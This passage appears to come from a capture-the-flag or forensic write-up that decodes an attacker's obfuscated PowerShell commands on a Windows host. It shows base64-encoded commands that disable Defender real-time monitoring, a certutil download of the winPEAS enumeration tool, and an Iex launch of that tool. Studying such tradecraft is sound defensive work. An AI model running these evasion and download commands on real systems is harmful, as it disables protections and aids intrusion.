powershell.exe -enc LgAgACgAIAAkAGUAbgBWADoAYwBvAG0AUwBwAGUAYwBbADQALAAyADQALAAyADUAXQAtAEoATwBpAG4AJwAnACkAIAAoACAAKAAoACgAIgB7ADIAfQB7ADAAfQB7ADcAfQB7ADEAfQB7ADEAMQB9AHsANQB9AHsANgB9AHsAOQB9AHsAMQAwAH0AewA0AH0AewA4AH0AewAzAH0AIgAtAGYAIAAnAGUAZgAnACwAJwAgACcALAAnAFMAZQB0AC0ATQBwAFAAcgAnACwAJwB1AGUAJwAsACcAdAAnACwAJwBhAGwAdABpAG0AZQAnACwAJwBNAG8AbgBpACcALAAnAGUAcgBlAG4AYwBlACcALAAnAHIAJwAsACcAdABvAHIAJwAsACcAaQBuAGcAIABLADMANQAnACwAJwAtAEQAaQBzAGEAYgBsAGUAUgBlACcAKQApACAALQByAGUAcABMAGEAYwBFACAAIAAnAEsAMwA1ACcALABbAEMAaABBAFIAXQAzADYAKQApAA==
. ( $enV:comSpec[4,24,25]-JOin'') ( ((("{2}{0}{7}{1}{11}{5}{6}{9}{10}{4}{8}{3}"-f 'ef',' ','Set-MpPr','ue','t','altime','Moni','erence','r','tor','ing K35','-DisableRe')) -repLacE 'K35',[ChAR]36))
((("{2}{0}{7}{1}{11}{5}{6}{9}{10}{4}{8}{3}"-f 'ef',' ','Set-MpPr','ue','t','altime','Moni','erence','r','tor','ing K35','-DisableRe')) -repLacE 'K35',[ChAR]36)
Set-MpPreference -DisableRealtimeMonitoring $true
With Defender’s real-time monitoring off, they download WinPEAS for privilege-escalation enumeration using certutil as a LOLBIN:
C:\Users\Public>certutil -urlcache -split -f "https://github.com/carlospolop/PEASS-ng/releases/download/20220703/winPEASany.exe" winpeas.exe
certutil -urlcache -split -f "https://github.com/carlospolop/PEASS-ng/releases/download/20220703/winPEASany.exe" winpeas.exe
**** Online ****
000000 ...
1d8e00
CertUtil: -URLCache command completed successfully.
C:\Users\Public>dir
dir
Volume in drive C has no label.
Volume Serial Number is E6F0-A472
Directory of C:\Users\Public
07/03/2022 01:06 PM <DIR> .
07/03/2022 01:06 PM <DIR> ..
06/08/2022 11:31 AM <DIR> BlueStacks
06/14/2022 09:17 AM <DIR> Documents
12/07/2019 02:14 AM <DIR> Downloads
06/24/2022 09:20 AM 600,580 GenericProcess.ps1
12/07/2019 02:14 AM <DIR> Music
12/07/2019 02:14 AM <DIR> Pictures
12/07/2019 02:14 AM <DIR> Videos
07/04/2022 07:50 AM 1,936,896 winpeas.exe
2 File(s) 2,537,476 bytes
8 Dir(s) 41,909,522,432 bytes free
Finally, they run WinPEAS via another format-string-obfuscated -enc PowerShell command. Deobfuscating it (again with [Char]36=$ and [Char]92=\) yields the Iex that executes winpeas.exe — and the comment carries the third flag fragment $pt3=b33n_pAtch3d!}:
C:\Users\Public>powershell.exe -enc IABJAGUAeAAgACgAIAAoACgAKAAiAHsAMgB9AHsANwB9AHsANgB9AHsANQB9AHsAOQB9AHsAMAB9AHsAOAB9AHsAMwB9AHsAMQAwAH0AewA0AH0AewAxAH0AIgAgAC0AZgAgACcAaAAnACwAJwAuAGUAeABlACcALAAnADwAIwB7ADAAJwAsACcAIQB9ACcALAAnAGUAYQBzACcALAAnAEEAJwAsACcAdAAzAD0AYgAzADMAbgBfAHAAJwAsACcAfQBwACcALAAnADMAZAAnACwAJwB0AGMAJwAsACcAIwA+ACAALgB7ADEAfQB3AGkAbgBwACcAKQApAC0AZgAgACAAWwBDAGgAYQByAF0AMwA2ACwAWwBDAGgAYQByAF0AOQAyACkAKQA=
powershell.exe -enc IABJAGUAeAAgACgAIAAoACgAKAAiAHsAMgB9AHsANwB9AHsANgB9AHsANQB9AHsAOQB9AHsAMAB9AHsAOAB9AHsAMwB9AHsAMQAwAH0AewA0AH0AewAxAH0AIgAgAC0AZgAgACcAaAAnACwAJwAuAGUAeABlACcALAAnADwAIwB7ADAAJwAsACcAIQB9ACcALAAnAGUAYQBzACcALAAnAEEAJwAsACcAdAAzAD0AYgAzADMAbgBfAHAAJwAsACcAfQBwACcALAAnADMAZAAnACwAJwB0AGMAJwAsACcAIwA+ACAALgB7ADEAfQB3AGkAbgBwACcAKQApAC0AZgAgACAAWwBDAGgAYQByAF0AMwA2ACwAWwBDAGgAYQByAF0AOQAyACkAKQA=
Iex ( ((("{2}{7}{6}{5}{9}{0}{8}{3}{10}{4}{1}" -f 'h','.exe','<#{0','!}','eas','A','t3=b33n_p','}p','3d','tc','#> .{1}winp'))-f [Char]36,[Char]92))
<#$pt3=b33n_pAtch3d!}#> .\winpeas.exe